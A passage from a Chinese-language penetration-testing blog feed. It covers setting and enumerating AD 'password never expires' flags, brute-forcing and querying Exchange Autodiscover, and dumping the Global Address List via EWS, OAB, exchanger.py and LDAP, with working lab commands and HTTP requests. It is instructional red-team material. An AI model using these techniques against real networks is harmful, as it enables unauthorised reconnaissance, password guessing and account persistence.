$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Get-ADUser -Server 192.168.1.1 -Credential $cred -filter * -properties Name, PasswordNeverExpires | where {$_.passwordNeverExpires -eq "true" }| FT Name
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>域控制器默认安装ActiveDirectory模块,Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,我已经提取出来并上传至github:</p>
<p>https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll</p>
<p>对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\Microsoft.ActiveDirectory.Management.dll
</code></pre></div></div>
<h4 id="2windows系统使用powerview-1">(2)Windows系统使用PowerView</h4>
<p>https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1</p>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\PowerView.ps1
$uname="test1"
$pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
$Users=Get-NetUser -Domain "test.com" -DomainController 192.168.1.1 -Credential $cred
ForEach($User in $Users)
{
if(($User.useraccountcontrol -band 65536) -eq 65536)
{
Write-Output $User.samaccountname
}
}
</code></pre></div></div>
<h4 id="3windows系统使用c实现-1">(3)Windows系统使用C#实现</h4>
<p>使用命名空间System.DirectoryServices,详细代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/List_passwordneverexpires_user_byLDAP.cs</p>
<h2 id="0x04-向指定用户添加密码永不过期属性的方法">0x04 向指定用户添加密码永不过期属性的方法</h2>
<hr />
<p>有以下两种实现方法:</p>
<p>1.userAccountControl属性值同65536作按位或运算(<code class="language-plaintext highlighter-rouge">运算符|</code>)
2.userAccountControl属性值直接加上65536</p>
<p>为了能够重复使用,以下方法均使用同65536作按位或运算的方法实现</p>
<h3 id="1从域内实现">1.从域内实现</h3>
<h4 id="1使用dsmod命令">(1)使用dsmod命令</h4>
<p>命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dsmod user "CN=testc,CN=Users,DC=test,DC=com" -pwdneverexpires yes
</code></pre></div></div>
<h4 id="2使用powershell-activedirectory模块">(2)使用Powershell ActiveDirectory模块</h4>
<p>命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADUser -Identity testc -PasswordNeverExpires $true
</code></pre></div></div>
<h4 id="3使用powerview">(3)使用PowerView</h4>
<p>命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADObject -SamAccountName testc -PropertyName useraccountcontrol -PropertyXorValue 65536
</code></pre></div></div>
<h4 id="4c实现">(4)C#实现</h4>
<p>使用命名空间System.DirectoryServices,详细代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/Add_passwordneverexpires_user_byLDAP.cs</p>
<h3 id="2从域外实现">2.从域外实现</h3>
<h4 id="1使用powershell-activedirectory模块">(1)使用Powershell ActiveDirectory模块</h4>
<p>命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\Microsoft.ActiveDirectory.Management.dll
$uname="administrator"
$pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Set-ADUser -Server 192.168.1.1 -Credential $cred -Identity testc -PasswordNeverExpires $true
</code></pre></div></div>
<h4 id="2使用powerview">(2)使用PowerView</h4>
<p>命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$uname="administrator"
$pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
$Users=Get-NetUser -Domain "test.com" -DomainController 192.168.1.1 -Credential $cred
Set-ADObject -Domain "test.com" -DomainController 192.168.1.1 -Credential $cred -SamAccountName testc -PropertyName useraccountcontrol -PropertyXorValue 65536
</code></pre></div></div>
<h4 id="3c实现">(3)C#实现</h4>
<p>使用命名空间<code class="language-plaintext highlighter-rouge">System.DirectoryServices</code>,详细代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/Add_passwordneverexpires_user_byLDAP.cs</p>
<p>测试如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-21/3-1.png" alt="Alt text" /></p>
<h2 id="0x05-向指定用户删除密码永不过期属性的方法">0x05 向指定用户删除密码永不过期属性的方法</h2>
<hr />
<p>有以下两种实现方法:</p>
<p>1.userAccountControl属性值同65536作按位异或运算(<code class="language-plaintext highlighter-rouge">运算符^</code>)
2.userAccountControl属性值直接减去65536</p>
<p>具体方法同0x04类似,不再重复介绍</p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了域用户具有密码永不过期属性的特征,分析枚举、添加和删除属性的原理,介绍不同条件下的多种实现方法,开源c#实现代码。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透基础——Exchange Autodiscover的使用2020-07-17T00:00:00+00:002020-07-17T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94Exchange%20Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>Autodiscover是Exchange的一个服务,用来简化客户端应用程序的配置流程。用户只需要输入自己的电子邮件地址和密码,就能够通过Autodiscover服务获取运行客户端应用程序所需的配置信息。</p>
<p>在渗透测试中,当我们获得了一个邮件用户的凭据,能够通过Autodiscover服务挖掘出更多有价值的信息。</p>
<p>本文将要介绍通过Autodiscover服务读取配置信息的方法,开源实现代码,分享利用思路。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>通过Autodiscover进行口令爆破的方法</li>
<li>通过Autodiscover读取配置信息的方法</li>
<li>通过Autodiscover访问Exchange邮件资源的方法</li>
</ul>
<h2 id="0x02-通过autodiscover进行口令爆破的方法">0x02 通过Autodiscover进行口令爆破的方法</h2>
<hr />
<p>对应的URL:<code class="language-plaintext highlighter-rouge">https://<domain>/autodiscover/autodiscover.xml</code></p>
<p>验证方式:NTLM Over HTTP Protocol(分别支持明文和NTLM hash登录)</p>
<p>登录失败返回401</p>
<p>登录成功返回200,内容示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
<Response>
<Error Time="01:37:11.6638388" Id="2403276782">
<ErrorCode>600</ErrorCode>
<Message>Invalid Request</Message>
<DebugData />
</Error>
</Response>
</Autodiscover>
</code></pre></div></div>
<p>我们可以看到,Autodiscover的验证流程同EWS基本相同,所以在代码实现上也可以参照之前的代码<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py">checkEWS.py</a></p>
<p>这里不再重复介绍,具体细节可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》</p>
<p>实现代码可参照<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/checkAutodiscover.py">checkAutodiscover.py</a>中的checkautodiscover功能</p>
<h2 id="0x03-通过autodiscover读取配置信息的方法">0x03 通过Autodiscover读取配置信息的方法</h2>
<hr />
<p>直接通过浏览器访问<code class="language-plaintext highlighter-rouge">https://<domain>/autodiscover/autodiscover.xml</code></p>
<p>无法获得配置信息,浏览器返回的内容示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
<Response>
<Error Time="01:37:11.6638388" Id="2403276782">
<ErrorCode>600</ErrorCode>
<Message>Invalid Request</Message>
<DebugData />
</Error>
</Response>
</Autodiscover>
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-17/2-1.png" alt="Alt text" /></p>
<p>为了能够读取配置信息,我们需要以下操作:</p>
<p>1.发送GET包,Header中加入NTML认证信息,示例:<code class="language-plaintext highlighter-rouge">Authorization: NTLM xxxxxxxxxxx</code></p>
<p>URL为<code class="language-plaintext highlighter-rouge">/autodiscover/autodiscover.xml</code></p>
<p>指定编码格式为gzip,格式如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Accept-Encoding: gzip
</code></pre></div></div>
<p>2.接收返回结果</p>
<p>提示<code class="language-plaintext highlighter-rouge">401 Unauthorized</code></p>
<p>3.发送POST包</p>
<p>在Header中完成NTML认证,同时Header还需要额外添加以下信息(X-Anchormailbox),指定当前用户的邮箱地址,示例:<code class="language-plaintext highlighter-rouge">X-Anchormailbox: test1@test.com</code></p>
<p>POST的内容格式如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request><EMailAddress>{EMailAddress}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request></Autodiscover>
</code></pre></div></div>
<p>其中,<code class="language-plaintext highlighter-rouge">{EMailAddress}</code>为当前用户的邮箱地址</p>
<p>完整数据包示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.1.1
Content-Length: 351
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHYAAACuAK4AjgAAABYAFgBAAAAACgAKAFYAAAAWABYAYAAAAAAAAAA8AQAABQKIoDEAOQAyAC4AMQA4ADgALgAxAC4AMQB0AGUAcwB0ADEAMQA5ADIALgAxADYAOAAuADEALgAxABlZOdtFpFcfJQY7ysotO0RJVlczdGVrae1Bq6PIhSQWZ5F4VJTTyL8BAQAAAAAAAOiYz4Q0XtYBSVZXM3Rla2kAAAAAAgAIAFQARQBTAFQAAQAGAEQAQwAxAAQAEABAAGUAcwB0AC5AYwBvAG0AAwAYAGQAYwAxAC5AdABlAHMAdAAuAGMAbwBtAAUAEAB0AGUAcwB0AC4AYwBvAG0ABwAIAOiYz3Q0XtYBCQAQAGMAaQBmAHMALwBEAEMAMQAAAAAAAAAAAA==
Content-type: text/xml
X-Anchormailbox: test1@test.com
X-Mapihttpcapability: 1
Accept-Encoding: gzip
<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request><EMailAddress>test1@test.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request></Autodiscover>
</code></pre></div></div>
<p>4.接收返回结果</p>
<p>提示<code class="language-plaintext highlighter-rouge">200 OK</code></p>
<p>返回的Body内容为gzip压缩格式,需要进行解码</p>
<p>不同版本的Exchange获得的内容有所不同,部分通用的内容如下:</p>
<ul>
<li>DisplayName</li>
<li>LegacyDN</li>
<li>AutoDiscoverSMTPAddress</li>
</ul>
<p>其中值得注意的是<code class="language-plaintext highlighter-rouge">AD</code>,代表域控制器的计算机名,在Exchange 2013及更老的版本能够获得<code class="language-plaintext highlighter-rouge">AD</code>的信息,Exchange2016无法获取</p>
<p>以上的实现代码可参照<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/checkAutodiscover.py">checkAutodiscover.py</a>中的checkautodiscover功能</p>
<p>在之前的文章《渗透技巧——通过Exchange ActiveSync访问内部文件共享》介绍了通过Exchange ActiveSync访问域内共享目录SYSVOL的方法,这里的路径需要指定域控制器的计算机名</p>
<p>正确的写法:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\dc1\SYSVOL\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI
</code></pre></div></div>
<p>错误的写法:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\test.com\SYSVOL\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI
</code></pre></div></div>
<p>将以上两点进行结合,就能够完整的实现读取域内共享目录SYSVOL的文件</p>
<p>为了能够支持Exchange2016,这里介绍一种更为通用(支持所有版本)获取域控制器计算机名的方法:通过EWS读取当前用户的配置信息,进而获得域控制器的计算机名</p>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover</p>
<p>这里需要注意请求的url为<code class="language-plaintext highlighter-rouge">/autodiscover/autodiscover.svc</code>,而不是<code class="language-plaintext highlighter-rouge">/EWS/Exchange.asmx</code></p>
<p>发送的SOAP格式示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<a:RequestedServerVersion>Exchange2013_SP1</a:RequestedServerVersion>
<wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
<wsa:To>https://{domain}/autodiscover/autodiscover.svc</wsa:To>
</soap:Header>
<soap:Body>
<a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<a:Request>
<a:Users>
<a:User>
<a:Mailbox>{mail}</a:Mailbox>
</a:User>
</a:Users>
<a:RequestedSettings>
<a:Setting>UserDisplayName</a:Setting>
<a:Setting>UserDN</a:Setting>
<a:Setting>UserDeploymentId</a:Setting>
<a:Setting>InternalMailboxServer</a:Setting>
<a:Setting>MailboxDN</a:Setting>
<a:Setting>PublicFolderServer</a:Setting>
<a:Setting>ActiveDirectoryServer</a:Setting>
<a:Setting>ExternalMailboxServer</a:Setting>
<a:Setting>EcpDeliveryReportUrlFragment</a:Setting>
<a:Setting>EcpPublishingUrlFragment</a:Setting>
<a:Setting>EcpTextMessagingUrlFragment</a:Setting>
<a:Setting>ExternalEwsUrl</a:Setting>
<a:Setting>CasVersion</a:Setting>
<a:Setting>EwsSupportedSchemas</a:Setting>
<a:Setting>GroupingInformation</a:Setting>
</a:RequestedSettings>
</a:Request>
</a:GetUserSettingsRequestMessage>
</soap:Body>
</soap:Envelope>
</code></pre></div></div>
<p>这里需要注意<code class="language-plaintext highlighter-rouge">{domain}</code>必须为域名,不能是IP</p>
<p>返回的结果中,<code class="language-plaintext highlighter-rouge">ActiveDirectoryServer</code>表示域控制器的计算机名,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-17/2-2.png" alt="Alt text" /></p>
<p>实现代码可参照<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/checkAutodiscover.py">checkAutodiscover.py</a>中的getusersetting功能</p>
<h2 id="0x04-通过autodiscover访问exchange邮件资源的方法">0x04 通过Autodiscover访问Exchange邮件资源的方法</h2>
<hr />
<p>通过Autodiscover完成身份认证以后,可以使用MAPI OVER HTTP访问Exchange邮件资源</p>
<p><strong>注:</strong></p>
<p>MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议</p>
<p>MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere)</p>
<p>Exchange2013默认没有启用MAPI OVER HTTP,Outlook同Exchange之间的通信协议使用RPC OVER HTTP</p>
<p>MAPI OVER HTTP的资料可参考:</p>
<p>https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/d502edcf-0b22-42f2-8500-019f00d60245</p>
<p>https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5BMS-OXCMAPIHTTP%5D.pdf</p>
<p><a href="https://github.com/sensepost/ruler">ruler</a>也支持MAPI OVER HTTP的部分功能,可以作为参考</p>
<h3 id="1执行命令">1.执行命令</h3>
<p>流程:</p>
<ol>
<li>connect</li>
<li>execute</li>
<li>disconnect</li>
</ol>
<h3 id="2通过offline-address-book-oab读取globaladdresslist">2.通过Offline Address Book (OAB)读取GlobalAddressList</h3>
<p>使用<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/checkAutodiscover.py">checkAutodiscover.py</a></p>
<h4 id="1通过autodiscover获得oaburl">(1)通过Autodiscover获得OABUrl</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python checkAutodiscover.py 192.168.1.1 443 plaintext test1@test.com DomainUser123! checkautodiscover
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-17/3-1.png" alt="Alt text" /></p>
<p>获得OABUrl为<code class="language-plaintext highlighter-rouge">https://dc1.test.com/OAB/9e3fa457-ebf1-40e4-b265-21d09a62872b/</code></p>
<h4 id="2访问oaburl从中找到default-global-address对应的lzx文件名">(2)访问OABUrl,从中找到Default Global Address对应的lzx文件名</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python checkAutodiscover.py 192.168.1.1 443 plaintext test1@test.com DomainUser123! checkoab
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-17/3-2.png" alt="Alt text" /></p>
<p>获得Default Global Address为<code class="language-plaintext highlighter-rouge">4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx</code></p>
<h4 id="3下载lxz文件">(3)下载lxz文件</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python checkAutodiscover.py 192.168.1.1 443 plaintext test1@test.com DomainUser123! downloadlzx
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-17/3-3.png" alt="Alt text" /></p>
<h4 id="4对lxz文件进行解码">(4)对lxz文件进行解码</h4>
<p>使用工具<a href="https://github.com/kyz/libmspack">oabextract</a></p>
<p>下载后需要进行安装</p>
<p>编译好可在Kali下直接使用的版本下载地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract</p>
<p>将lzx文件转换为oab文件的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab
</code></pre></div></div>
<p>提取出GAL的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings gal.oab|grep SMTP
</code></pre></div></div>
<p>结果如图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/3-2.png" alt="Alt text" /></p>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>本文介绍了通过Autodiscover进行口令爆破、读取配置信息和访问Exchange邮件资源的方法,开源实现代码,分享利用思路。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透技巧——获得Exchange GlobalAddressList的方法2020-07-11T00:00:00+00:002020-07-11T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E2%80%94%E2%80%94%E8%8E%B7%E5%BE%97Exchange%20GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>Exchange GlobalAddressList(全局地址列表)包含Exchange组织中所有邮箱用户的邮件地址,只要获得Exchange组织内任一邮箱用户的凭据,就能够通过GlobalAddressList导出其他邮箱用户的邮件地址。</p>
<p>本文将要介绍在渗透测试中不同条件下获得Exchange GlobalAddressList的常用方法,分享程序实现的细节,最后介绍禁用GlobalAddressList的方法</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>获得Exchange GlobalAddressList的方法</li>
<li>程序实现</li>
<li>禁用GlobalAddressList的方法</li>
</ul>
<h2 id="0x02-获得exchange-globaladdresslist的方法">0x02 获得Exchange GlobalAddressList的方法</h2>
<hr />
<h3 id="1通过outlook-web-accessowa">1.通过Outlook Web Access(OWA)</h3>
<p>需要获得邮件用户的明文口令,登录OWA后,选择联系人-><code class="language-plaintext highlighter-rouge">All Users</code></p>
<h3 id="2通过exchange-web-serviceews">2.通过Exchange Web Service(EWS)</h3>
<p>对于Exchange 2013及更高版本,可以使用FindPeople操作</p>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/findpeople-operation?redirectedfrom=MSDN</p>
<p>这里需要注意,FindPeople操作时必须指定搜索条件,无法通过通配符直接获取所有结果</p>
<p>变通的解决方法:</p>
<p>遍历26个字母a-z,以此作为搜索条件,能够覆盖所有结果</p>
<p>对于Exchange2010及更低版本,只能使用ResolveName操作</p>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.exchangeservice.resolvename?redirectedfrom=MSDN&view=exchange-ews-api</p>
<p>这里需要注意,ResolveName操作每次最多只能获得100个结果,如果GlobalAddressList中的邮箱用户大于100,那么无法直接获得完整结果</p>
<p>变通的解决方法:</p>
<p>使用ResolveName操作时加入搜索条件,确保每次获得的结果能够少于100,接着通过多次搜索实现对全部结果的覆盖</p>
<p>通常使用的方法:</p>
<p>搜索条件为任意两个字母的组合,例如aa、ab、ac….zz,总共搜索26*26=676次,一般情况下能够覆盖所有结果</p>
<h3 id="3通过outlook客户端使用的协议mapi-over-http和rpc-over-http">3.通过Outlook客户端使用的协议(MAPI OVER HTTP和RPC over HTTP)</h3>
<p>登录用户,选择<code class="language-plaintext highlighter-rouge">联系人</code>-><code class="language-plaintext highlighter-rouge">通讯簿</code></p>
<p>Outlook客户端通常使用的协议为RPC、RPC over HTTP(也称作Outlook Anywhere)和MAPI over HTTP</p>
<p>使用<a href="https://github.com/sensepost/ruler">ruler</a>能够通过MAPI OVER HTTP(暂不支持RPC over HTTP)读取GlobalAddressList</p>
<p><strong>注:</strong></p>
<p>MAPI over HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere)</p>
<p>Exchange2013默认没有启用MAPI OVER HTTP,而是使用的RPC OVER HTTP,需要手动开启</p>
<p>Exchange2016默认启用MAPI OVER HTTP</p>
<p>通过RPC over HTTP读取GlobalAddressList可使用ptswarm的<a href="https://github.com/ptswarm/impacket">Exchanger.py</a></p>
<p>参考资料:</p>
<p>https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/</p>
<p>流程如下:</p>
<h4 id="1列出addresslist">(1)列出AddressList</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python exchanger.py 192.168.1.1/test1:DomainUser123!@test.com nspi list-tables
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/4-1.png" alt="Alt text" /></p>
<p>从图中可以获得<code class="language-plaintext highlighter-rouge">All Users</code>对应的guid为<code class="language-plaintext highlighter-rouge">5cb80229-e2b4-4447-b224-dc2c12098835</code></p>
<h4 id="2读取addresslist">(2)读取AddressList</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python exchanger.py 192.168.1.1/test1:DomainUser123!@test.com nspi dump-tables -guid 5cb80229-e2b4-4447-b224-dc2c12098835
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/4-2.png" alt="Alt text" /></p>
<h3 id="4通过offline-address-book-oab">4.通过Offline Address Book (OAB)</h3>
<p>流程如下:</p>
<h4 id="1读取autodiscover配置信息">(1)读取Autodiscover配置信息</h4>
<p>访问的URL:<code class="language-plaintext highlighter-rouge">https://<domain>/autodiscover/autodiscover.xml</code></p>
<p><strong>注:</strong></p>
<p>需要发送特定的POST包,详情可参考文章《渗透基础——Exchange Autodiscover的使用》</p>
<p>从配置信息中获得OABUrl</p>
<h4 id="2读取oab文件列表">(2)读取OAB文件列表</h4>
<p>访问的URL:<code class="language-plaintext highlighter-rouge">OABUrl/oab.xml</code></p>
<p>返回结果中包括多个OAB文件的列表,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/3-1.png" alt="Alt text" /></p>
<p>找到其中<code class="language-plaintext highlighter-rouge">Default Global Address List</code>对应的lzx文件名称,lzx文件名称为<code class="language-plaintext highlighter-rouge">4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx</code></p>
<h4 id="3下载lzx文件">(3)下载lzx文件</h4>
<p>访问的URL:<code class="language-plaintext highlighter-rouge">OABUrl/xx.lzx</code></p>
<p>对应上面的示例,lzx文件的下载地址为:<code class="language-plaintext highlighter-rouge">https://192.168.1.1/OAB/9e3fa457-ebf1-40e4-b265-21d09a62872b/4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx</code></p>
<h4 id="4对lzx文件解码还原出default-global-address-list">(4)对lzx文件解码,还原出Default Global Address List</h4>
<p>这里需要使用工具<a href="https://github.com/kyz/libmspack">oabextract</a></p>
<p>下载后需要进行安装</p>
<p>编译好可在Kali下直接使用的版本下载地址:http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract</p>
<p>将lzx文件转换为oab文件的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab
</code></pre></div></div>
<p>提取出GAL的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings gal.oab|grep SMTP
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/3-2.png" alt="Alt text" /></p>
<h3 id="5通过ldap">5.通过LDAP</h3>
<p>需要能够访问域控制器的LDAP服务(389端口)</p>
<p>通常Exchange邮箱用户同域用户存在对应关系,所以可以根据域用户的信息获得Exchange邮箱用户的信息</p>
<h4 id="1从域外进行查询">(1)从域外进行查询</h4>
<p>需要获得域用户的明文口令</p>
<p>Kali系统通过ldapsearch获取所有用户邮件地址的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" |grep mail:
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/1-1.png" alt="Alt text" /></p>
<p>Windows系统通过<a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">PowerView</a>获取所有用户邮件地址的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$uname="testa"
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred | fl mail
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/1-2.png" alt="Alt text" /></p>
<p>Windows系统通过C#实现:</p>
<p>通过调用命名空间System.DirectoryServices能够很容易实现相同的操作,代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/ListUserMailbyLDAP.cs</p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/1-3.png" alt="Alt text" /></p>
<h4 id="2从域内进行查询">(2)从域内进行查询</h4>
<p>从域外查询的方法均适用,此时不需要域用户的凭据</p>
<p>还可以使用PSSession连接Exchange服务器后,通过Exchange Management Shell进行查询</p>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$User = "test\administrator"
$Pass = ConvertTo-SecureString -AsPlainText DomainAdmin123! -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Exchange01.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
Get-Mailbox|fl PrimarySmtpAddress
Remove-PSSession $Session
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-11/1-4.png" alt="Alt text" /></p>
<h2 id="0x03-通过exchange-web-serviceews获得globaladdresslist的实现代码">0x03 通过Exchange Web Service(EWS)获得GlobalAddressList的实现代码</h2>
<hr />
